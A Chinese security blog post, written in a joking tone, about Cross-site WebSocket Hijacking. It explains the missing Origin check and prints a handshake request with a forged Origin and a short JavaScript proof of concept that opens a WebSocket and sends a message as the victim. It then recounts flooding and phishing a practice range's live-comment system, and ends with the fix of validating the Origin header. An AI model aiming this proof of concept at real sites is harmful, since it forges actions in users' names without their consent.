靶场直播疯狂作死之--WebSocket 跨域劫持漏洞实战与修复

  • A+
所属分类:安全文章

前言

作者:Vulkey_Chen

责任编辑:白袍

听说团长他们把社区的铸剑靶场做了直播!

在线日靶机!还TM有弹幕!还有妹子!关键还不带上我。。。


靶场直播疯狂作死之--WebSocket 跨域劫持漏洞实战与修复

靶场直播疯狂作死之--WebSocket 跨域劫持漏洞实战与修复


吸引了一堆大佬互相商业互吹!



关键又不带上我。。。



靶场直播疯狂作死之--WebSocket 跨域劫持漏洞实战与修复

直播开始了 蔡徐坤都上了,还没有喊我。。



靶场直播疯狂作死之--WebSocket 跨域劫持漏洞实战与修复


      仔细研究了团长朋友圈炫的图,我大胆推测弹幕系统肯定使用的是WebSocket协议,于是我对WebSocket协议进行了深度了解后制定了一个大胆的计划。


靶场直播疯狂作死之--WebSocket 跨域劫持漏洞实战与修复


所以今晚夜黑风高,嘿嘿嘿。。。下面是漏洞的技术剖析





WebSocket 跨域劫持漏洞

WebSocket 跨域劫持漏洞,英文名:Cross-site WebSocket Hijacking,漏洞类型:全能型CSRF(可读、可写)。

了解WebSocket

Websocket 优点

  1. 支持双向通信,实时性更强。

  2. 更好的二进制支持。

  3. 较少的控制开销。连接创建后,ws客户端、服务端进行数据交换时,协议控制的数据包头部较小。在不包含头部的情况下,服务端到客户端的包头只有2~10字节(取决于数据包长度),客户端到服务端的话,需要加上额外4字节的掩码。而HTTP协议每次通信都需要携带完整的头部。

  4. 支持扩展。ws协议定义了扩展,用户可以扩展协议,或者实现自定义的子协议。(比如支持自定义压缩算法等)

Websocket 如何建立连接

画了一张图让你了解:


漏洞产生

建立Websocket连接无验证。

案例

1.如下请求:

  1. GET / HTTP/1.1

  2. Host: localhost:8080

  3. Origin: http://127.0.0.1:3000

  4. Connection: Upgrade

  5. Upgrade: websocket

  6. Sec-WebSocket-Version: 13

  7. Sec-WebSocket-Key: w4v7O6xFTi36lq3RNcgctw==

篡改Origin,发现没有对Origin进行验证,也可以跨域进行协议升级。

2.进一步验证

2.1获取到了一个发送评论的请求


2.2使用JavaScript创建Websocket请求

  1. <meta charset="utf-8">

  2. <script>

  3. function ws_attack(){

  4. var ws = new WebSocket("ws://域名:端口/");//如果请求的Websocket服务仅支持HTTP就写成ws://,如果请求的Websocket服务支持HTTPs就写成wss://

  5. ws.onopen = function(evt) {

  6. ws.send("我是帅key的可爱小迷弟!");

  7. };

  8. ws.onmessage = function(evt) {

  9. ws.close();

  10. };

  11. }

  12. ws_attack();

  13. </script>

2.3验证发现可以请求并成功进行重放,存在Websocket跨域劫持

(这里只是简单的评论请求,危害就是:点我链接让你评论我想评论的,试想:如果是修改密码的WebSocket请求存在劫持那么问题就大了~)

漏洞利用

攻击流程跟以往的交互类漏洞没什么区别(点我链接读取你XXX、点我链接让你XXX):


PoC代码编写

  1. <meta charset="utf-8">

  2. <script>

  3. function ws_attack(){//自定义函数ws_attack

  4. //定义函数功能

  5. //创建WebSocket并赋值给ws变量

  6. var ws = new WebSocket("ws://域名:端口/");//如果请求的Websocket服务仅支持HTTP就写成ws://,如果请求的Websocket服务支持HTTPs就写成wss://

  7. ws.onopen = function(evt) {

  8. //当ws(WebSocket)处于连接状态时执行

  9. ws.send("我是帅key的可爱小迷弟!");

  10. };

  11. ws.onmessage = function(evt) {

  12. //当ws(WebSocket)请求有响应信息时执行

  13. //注意:响应的信息可以通过evt.data获取!例如:alert(evt.data);

  14. ws.close();

  15. };

  16. }

  17. ws_attack();//执行ws_attact函数

  18. </script>



作战计划


一开始是,这样婶儿的,大家都在听团长讲APT的信息搜集还有技能加点啥的。。。


靶场直播疯狂作死之--WebSocket 跨域劫持漏洞实战与修复


竟然还有粉丝提问环节,团长的声音还这么磁性!


不行了!该我登场了!祭出大杀器,绕过了团长第一波防护!作死+1s


靶场直播疯狂作死之--WebSocket 跨域劫持漏洞实战与修复

团长在线修复了XSS的bug,很嚣张。假象罢了!

靶场直播疯狂作死之--WebSocket 跨域劫持漏洞实战与修复

呵呵,洪水来吧! 欧利根~

靶场直播疯狂作死之--WebSocket 跨域劫持漏洞实战与修复

没想到团长又很快在线修复了频次的问题!可惜不彻底,啧啧。

靶场直播疯狂作死之--WebSocket 跨域劫持漏洞实战与修复

加一个钓鱼直接引发大家发( 这才是漏洞的核心触发点)~

靶场直播疯狂作死之--WebSocket 跨域劫持漏洞实战与修复


没想到团长关闭了弹幕服务器,够狠。


靶场直播疯狂作死之--WebSocket 跨域劫持漏洞实战与修复


靶场直播疯狂作死之--WebSocket 跨域劫持漏洞实战与修复



最后在团长的手镯警告下给出了修复方法

校验Origin头,并加入各种过滤判断。

靶场直播疯狂作死之--WebSocket 跨域劫持漏洞实战与修复

亮点自寻,呵呵哒。




听说转发点赞的会随机抽送靶场直播邀请名额???

听说点 在看 的人都变成了大佬??

稀罕俺的还有机会直接入选大佬计划???




参考来源

https://www.cnblogs.com/chyingp/p/websocket-deep-in.html

https://www.secquan.org/Discuss/1069086


关于圈子社区
圈子社区是一个非盈利,封闭的白帽子技术交流社区。目前成员已有近2000人,拥有业内首个自主研发的实战化靶场,体系化学习和燃爆的交流气氛带你成为真正的大佬,社区专注实战,崇尚技术,如果你也是实战派,请关注我们。
社区地址:(请使用https访问)
https://www.secquan.org

靶场直播疯狂作死之--WebSocket 跨域劫持漏洞实战与修复





本文始发于微信公众号(Secquan圈子社区):靶场直播疯狂作死之--WebSocket 跨域劫持漏洞实战与修复

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: